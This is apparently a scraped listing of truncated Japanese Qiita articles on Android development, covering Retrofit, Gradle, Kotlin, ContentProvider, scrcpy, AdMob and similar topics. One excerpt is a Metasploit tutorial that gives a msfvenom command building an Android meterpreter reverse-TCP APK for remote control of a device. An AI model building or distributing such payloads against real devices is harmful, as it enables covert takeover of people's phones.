- 1. THETA1台でライブImageBasedLighting
- 2. Retrofit2とOkhttp3とGsonを使用してAPIを作成(Java)
- 3. 新卒プログラマの学習ログ 〜 其の四 〜
- 4. MetasploitでAndroidをハッキングしてみた
- 5. 【Android】SHA-1 署名証明書フィンガープリントを取得する
- 6. Androidアプリ開発探求記(その9)
- 7. Gradle Versions Plugin によるバージョン管理
- 8. PermissionsDispatcherによる権限管理
- 9. 【Android/Kotlin】ContentProviderの挿入・削除・更新
- 10. Android11の変更点ピックアップ
- 11. 【Kotlin】ViewPagerでスワイプする画面を作る
- 12. scrcpy で Android を PC から操作
- 13. Androidアプリ開発探求記(その8)
- 14. Androidのキーボード表示非表示を検知する最も簡単な方法(だと思う)
- 15. 【Kotlin】スクロールと連動させつつ動的にFABを表示したり隠したりする
- 16. Androidアプリ開発探求記(その7)
- 17. Android アプリに広告(Google AdMob)入れて不労所得したい
- 18. 物理アニメーションでRecyclerViewにオーバースクロールアニメーションを実装してみる
- 19. 【Android/Kotlin】世界測地系を日本測地系に変換する
- 20. Androidアプリ開発探求記(その6)
THETA1台でライブImageBasedLighting
#はじめに
リコーの[Yuuki_S](https://qiita.com/Yuuki_S)です。
弊社では[RICOH THETA](https://theta360.com/ja/)という全周囲360度撮れるカメラを出しています。
RICOH THETA VやTHETA Z1は、OSにAndroidを採用しており、Androidアプリを作る感覚でTHETAをカスタマイズすることもでき、そのカスタマイズ機能を「プラグイン」と呼んでいます。(詳細は本記事の末尾を参照)。
***
イメージベースドライティング(IBL : Image-based lighting)という技術をご存知でしょうか?
現実世界の全方向の光情報を環境情報として、CGのレンダリングに利用する手法のことです。
周辺の光源の位置や色合いをCGに反映することで、現実に溶け込んだ表現が可能になるため映像作品やゲームで使用されています。
![IBL比較.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/152249/d08329cd-ccfe-3
Retrofit2とOkhttp3とGsonを使用してAPIを作成(Java)
API作成時の備忘録。
細かい説明は抜きにして、とりあえずこれで通信できた。– [Retrofit2](https://square.github.io/retrofit/)
– [Okhttp3](https://square.github.io/okhttp/)
– [Gson](https://github.com/google/gson)##手順
– manifestfileに通信を許可するように設定
– リクエスト、レスポンスを受け取る用のクラスを定義
– エンドポイントの作成
– HTTPクライアントの作成
– 実行## manifestFileに通信を許可するように設定
“`AndroidManifest.xml“` に以下を記述する
“`java:AndroidManifest.xml
“`## リクエスト、レスポンスを受け取る用のクラスを定義
ログイン用のリクエストクラス、 requestのbodyがこの形式で送ら
新卒プログラマの学習ログ 〜 其の四 〜
#Kotlinのあれこれ
Android StudioでKotlinを使用しながら、Androidアプリ開発に関して学んでいます。
Javaの基礎知識があればKotlinの学習は必要ないと上司から言われていましたが、全然そんなことないと思っています。(泣)確かにオブジェクト思考を前提としたプログラミングではありますが、Javaと比較してKotlinは型推定が常識のように行われるためにいきなりライブラリの仕様等を見ると心が折れます。
#基礎知識
Kotlinでは関数も、数値や文字列のなどの値のようにして扱うことができます。
そのため、変数に代入したり関数の引数として与えたり、関数の結果として返したりできます。このような性質のオブジェクトは第一級オブジェクトに分類されます。
#よくみる “::関数名” とは?
Kotlinのコードを見ているとよく**::関数名**のような記述をよく見ます。
以下のコードをご覧ください。“`Sample.kt
fun square(i : Int): Int = i * i
fun main(){
val functionOb
MetasploitでAndroidをハッキングしてみた
#はじめに
今回は、Metasploitを使ってAndroid端末をハッキングし、遠隔操作して遊んでみようと思います。
MetasploitのAndroidについての日本語の資料が少なかったので書くことにしました。
今回はKali LinuxをUSBに入れて動かしていますが、VirtualBoxとかでも大丈夫だと思います。当然ながら悪用厳禁です。作ったapkを配布とかしたら普通に捕まるので注意。
#apkの作成
まずはMetasploitを使って、Androidを遠隔操作可能にするapkファイルを作っていきます。
Terminalを開き、以下のコマンドを入力します。(私の環境だと、コピペするとなぜかうまくいかなかったので、その場合は自分で入力してみてください。)“`
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.11.4 R>/home/kali/test.apk
“`-pで使うペイロード(攻撃コード)を指定します。
android/meterpreter/reverse_tcpというのは、Andr
【Android】SHA-1 署名証明書フィンガープリントを取得する
#リリース用署名証明書
“`terminal:terminal
keytool -list -v -keystore your_keystore_name -alias your_alias_name
“`
your_keystore_name は「.keystore」や「.jks」拡張子を含む完全修飾パスとキーストア名で置き換える。
your_alias_name は作成時に証明書に割り当てたエイリアスで置き換える。#デバッグ用署名証明書
Linux または macOS の場合:“`terminal:terminal
keytool -list -v -keystore ~/.android/debug.keystore -alias androiddebugkey -storepass android -keypass android
“`Windows の場合:
“`terminal:terminal
keytool -list -v -keystore “%USERPROFILE%\.android\debug.keystore” -alias and
Androidアプリ開発探求記(その9)
# はじめに
[前回](https://qiita.com/beyondseeker/items/23ba8043eeabcad0f097)は、*buildSrc* の *Dependencies.kt* にて、依存関係の一元管理をしてみました。しかし、管理対象ライブラリのバージョンは日々更新されていくため、必要に応じて更新していく必要があります。
ということで、今回は、ライブラリのバージョン保守に関して模索してみようと思います。
# Gradle Versions Plugin の導入
基本的に、[Gradle Versions Plugin によるバージョン管理](https://qiita.com/beyondseeker/items/ed12711ae18692121451) をそのまま踏襲しようと思います。# 追加コード
“`kotlin:build.gradle.kts
import com.github.benmanes.gradle.versions.updates.DependencyUpdatesTaskplugins {
id(“com.
Gradle Versions Plugin によるバージョン管理
# はじめに
本稿では [Gradle Versions Plugin](https://github.com/ben-manes/gradle-versions-plugin) を用いたバージョン管理について、ざっくりと説明します。# Gradle Versions Plugin
## ◆ 概要
Gradle Versions Plugin は、以下の項目に関するアップデートを指摘してくれる task を提供します。– ライブラリのバージョン
– Gradle のバージョン## ◆ 公式サイト
https://github.com/ben-manes/gradle-versions-plugin# 最低限の設定
plugin を追加するだけで利用可能です。
“`kotlin:build.gradle.kts
plugins {
id(“com.github.ben-manes.versions”) version “0.29.0”
}
“`# Task
*dependencyUpdates* task により info レベルのログとしてバージョ
PermissionsDispatcherによる権限管理
# はじめに
本稿では [PermissionsDispatcher](https://github.com/permissions-dispatcher/PermissionsDispatcher) による権限管理に関して、簡単な説明とサンプルアプリの提示を行います。# Android の権限に関する包括的な情報
以下の情報を参照のこと:– [App Permissions](https://developer.android.com/guide/topics/permissions/overview)
– Android の権限に関する包括的な情報# PermissionsDispatcher
## ◆ 概要
PermissionsDispatcher は、実行時の権限を扱うためのシンプルなアノテーションベースの API を提供します。このライブラリは、権限が許可されているかどうかのチェック用コードを大量に記述することに伴う負担を軽減し、クリーンで安全なコードの保持に寄与します。
## ◆ 公式サイト
https://github.com/permiss
【Android/Kotlin】ContentProviderの挿入・削除・更新
#ContentProviderとは
ContentProviderはデバイスのストレージにあるDB(データーベース)にアクセスし、データを管理する為に使用されます。具体的には、自身のアプリでDBを使ったり、他アプリのDB(連絡先など)を流用したい時です。今となっては他のアプリと連携させたアプリなど往々にして存在しますが、そのような機能の一端を担えるのがこのContentProviderです。 ContentProviderを導入するか否かの指針については公式のドキュメントに記述があります。以下がその項目です。
・検索フレームワークを用いてカスタム検索候補を提供する。
・アプリデータをウィジェットに公開する
・他のアプリに複雑なデータやファイルを提供する。
・AbstractThreadedSyncAdapterクラス(デバイスとサーバとの間でデータを転送するタスクのコードのカプセル化に使う)、CoursorAdapter(カーソルとビューの架け橋を担う)、CorsorLoader(カーソルからデータを取得する)を使う。
これらの項目に当てはまる状況の時、ContentProvid
Android11の変更点ピックアップ
初投稿です。
Android11の登場に向けて、優先的に対応しておいた方が良さそうだと思う変更点をピックアップします。
既存アプリへの対応という観点で見ているので、新機能にはあまり触れていません。
(今後もドキュメントの変更に応じて加筆修正するかもしれません)# 主な情報引用元
Android11上でアプリを動かす際に適応される項目。
https://developer.android.com/preview/behavior-changes-all?hl=jatargetSdkVersion=30とした時に適応される項目。
https://developer.android.com/preview/behavior-changes-11?hl=jaプライバシー関連。
https://developer.android.com/preview/privacy?hl=ja機能全般。
https://developer.android.com/preview/features?hl=jaちなみに、上記ドキュメントは更新頻度がそれなりに高いため、定期的にチェックした方
【Kotlin】ViewPagerでスワイプする画面を作る
#はじめに
以前にもViewPagerで画面をスワイプさせるアプリを作ったが(その時はJavaで)、どういう処理だったのか全然思い出せなかった。。。参考にさせていただいた記事と似たり寄ったりですが、忘れないよう自分なりに記事にします。
#フラグメント
ViewPagerで表示するFragment。
onCreateViewで表示するレイアウトを作成する。
※SampleFragment1のみ載せます。同じようにFragmentクラスを作成すればOK!“`kotlin:MainActivity.kt
class SampleFragment1 : Fragment() {val TAG = “BlankFragment”
override fun onCreateView(
inflater: LayoutInflater, container: ViewGroup?,
savedInstanceState: Bundle?
): View? {//レイアウトの取得
val la
scrcpy で Android を PC から操作
## 概要
PC から Android 端末を操作するのに scrcpy がいいと教えてもらったので、ざっくり触った感じとその備忘録。
## 前提条件
– macOS
– Homebrew 導入済み
– adb 導入済み
– Android OS 5.0 以上## scrcpy とは
> This application provides display and control of Android devices connected on USB (or over TCP/IP). It does not require any root access. It works on GNU/Linux, Windows and macOS.
このアプリは USB(または TCP/IP)で接続された Android 端末の表示と制御を提供する。Root 化不要。GNU/Linux、Windows、macOS で動作する。
## 導入
“`bash
brew install scrcpy
“`Homebrew と adb が導入済みであればこれだけ。インストールが完
Androidアプリ開発探求記(その8)
# 概要
[前回](https://qiita.com/beyondseeker/items/b998a418aaf37bd91837)は、buildSrc を導入しつつ、build.gradle を build.gradle.kts に書き換えてみました。今回は、*buildSrc* 側で依存関係を一元管理する方法を模索してみようと思います。
# 前回の懸念点
前回は、以下のような懸念点を上げました。## ◆ extension による可読性の低下
extension を使うと可読性が下がるように思えます。“`kotlin
plugins {
id(“com.android.application”)
// TODO: この extension って逆にわかりづらい気がする。
kotlin(“android”)
id(“kotlin-android-extensions”)
}
“`“`kotlin
plugins {
id(“com.android.application”)
// TODO: こっちのほうが分
Androidのキーボード表示非表示を検知する最も簡単な方法(だと思う)
Androidではキーボードの表示/非表示を検知する方法が標準では用意されていないんですよね。。。
実際、ナビゲーションバーを非表示にしておきたい場合など、キーボードが表示されたタイミングを検知したい場合が多々あったため
よい方法はないかとググりました。Activityの高さの変化などを取得し、キーボードの状態変化を検知する方法等ありますが、
最も簡単な方法かと思われる素敵なライブラリが公開されていたので共有です。https://github.com/yshrsmz/KeyboardVisibilityEvent
このような素敵なライブラリが埋もれているのは勿体ないのでお勧めです。
【Kotlin】スクロールと連動させつつ動的にFABを表示したり隠したりする
##はじめに
FloatingActionButtonを使うときはCoordinatorLayoutやRecyclerViewと一緒に使ったりして、スクロールに合わせて表示・非表示を切り替えるかと思います。
この場合は、レイアウトファイルのFABに「app:layout_behavior=”com.google.android.material.behavior.HideBottomViewOnScrollBehavior”」と書けばスクロールにあわせていい感じにやってくれます。
しかし、これだと何らかの理由でスクロールができなくなった時にFABが隠れたままになってしまうことがあります。##どうするか
HideBottomViewOnScrollBehaviorにはslideUp/slideDownメソッドがあるのですが、protectedなメソッドのため外部から呼ぶことはできません。
なので継承したクラスでオーバーライドします。“`Kotlin:ListActivity.kt
class ListActivity : AppCompatActivity() {o
Androidアプリ開発探求記(その7)
# 概要
今回は、*buildSrc* を導入しつつ、*build.gradle* を *build.gradle.kts* に書き換えてみようと思います。# 現行ソース
## ◆ build.gradle
[source](https://github.com/beyondseeker/chrono0015/blob/c5009917501cbce49fc31e86a793000026071b85/build.gradle)“`grooby
buildscript {
// 『この位置』でのバージョン情報定義は、結構他の多くのプロジェクトでも踏襲してるっぽい。
//
// – mockk(https://github.com/mockk/mockk/blob/master/build.gradle)の場合は結構愚直にやってる。
//
// – picasso(https://github.com/square/picasso/blob/master/build.gradle)の場合は
// ext.versions = [
Android アプリに広告(Google AdMob)入れて不労所得したい
## きっかけ
最近私の巷で副業が流行っています。
そこで私も、「何か Web アプリでも開発して、広告収入を得てみたい!!」などと漠然と考えるようになりました。
個人開発者が作成しているとても魅力的な Web アプリを参考にしたり、自分がこれあったらいいなという物を考えて、いざ開発しよう!という段階にまで来ました。
しかし Web アプリは作って終わりではなく、サーバ設置やデータベース作成、ドメイン取得、その他セキュリティ設定、その他・・・などが必要になってくると知った私は
– 開発したものはすぐにリリースしたいのに、時間かかりそうだなー
– 一つ一つ攻略していくのに何かと時間かかりそうだなー
– 開発したものがそこまででもないのに伸びなかったら時間の無駄だなー
– ⇒ 本当はそんなことはなく、Web アプリのリリース手法が身につくので本来は自分にとってプラスであることは重々承知しています。。。
– 広告収入の仕組みがどんな感じなのか知りたいだけなのにそんなに時間かける必要性は?
などと思ってしまい、やる気がなくなってしまいました。
ただ、自分のモチベーショ
物理アニメーションでRecyclerViewにオーバースクロールアニメーションを実装してみる
#はじめに
**「Android Studio のRecyclerViewをオーバースクロール(bouncing animation, ios風にスクロール)させたい」**、こんなことを思った人は多いと思います。(このアニメーション何て言うのか分かんない…)かく言う自分もその一人です。
デフォルトの`overScrollMode`とかいう色が付くスクロールアニメーションってダサくね?って思ってました。初めてRecyclerViewを実装したときは、ios風にスクロール端のアニメーションを設定するにはどうするんだろう? なんかそういうAttributeでもあんだろ?
… そんな風に甘く考えてました。実際にやろうとして、すぐにAttributeがないことに気づき嘘やろ?ってなりました。
何だかよくわからんが変なアダプタ作ったり、scrollリスナ使ったり、ライブラリ使ったりして3日ほど頑張ってみたけど、結局出来なくて泣く泣く諦めた記憶があります。(recyclerView触りたてのヤツがやるには難易度高すぎw)それから少し時間がたちリベンジ。
検索していたらとても参考に
【Android/Kotlin】世界測地系を日本測地系に変換する
# 世界測地系と日本測地系
測地系とは緯度経度を表すときの基準になるものです。
(詳しくはググってください)
普段GoogleMap等で目にするのは世界測地系ですが、まれに日本測地系を使用する場合があります。
今回その例に遭遇したので、変換方法をメモしておこうと思います。# ライブラリのインストール
使用するライブラリ→ [Proj4J](https://search.maven.org/artifact/org.osgeo/proj4j/0.1.0/jar)“`
// 測地系変換を実現するPROJライブラリ
implementation ‘org.osgeo:proj4j:0.1.0’
“`# 測地系の変換
最後の`convertPoint`に変換後の緯度経度が入っています。“`
val crsFactory = CRSFactory()
// wgs84(世界測地系)
val wgs84 = crsFactory.createFromParameters(
null,
“+proj=longlat +ellps=
Androidアプリ開発探求記(その6)
# 概要
[現状のコード](https://github.com/beyondseeker/chrono0015/blob/e2cb85631b5c0aedc05048543669b5f23ba62430/app/build.gradle)は JDK8 対応が中途半端なので、今回はきちんと JDK8 に対応してみようと思います。# やること
JDK8 対応する。# 現行コード
[source](https://github.com/beyondseeker/chrono0015/blob/e2cb85631b5c0aedc05048543669b5f23ba62430/app/build.gradle)“`groovy:app/build.gradle
apply plugin: ‘com.android.application’
apply plugin: ‘kotlin-android’
apply plugin: ‘kotlin-android-extensions’android {
compileSdkVersion 29defaultC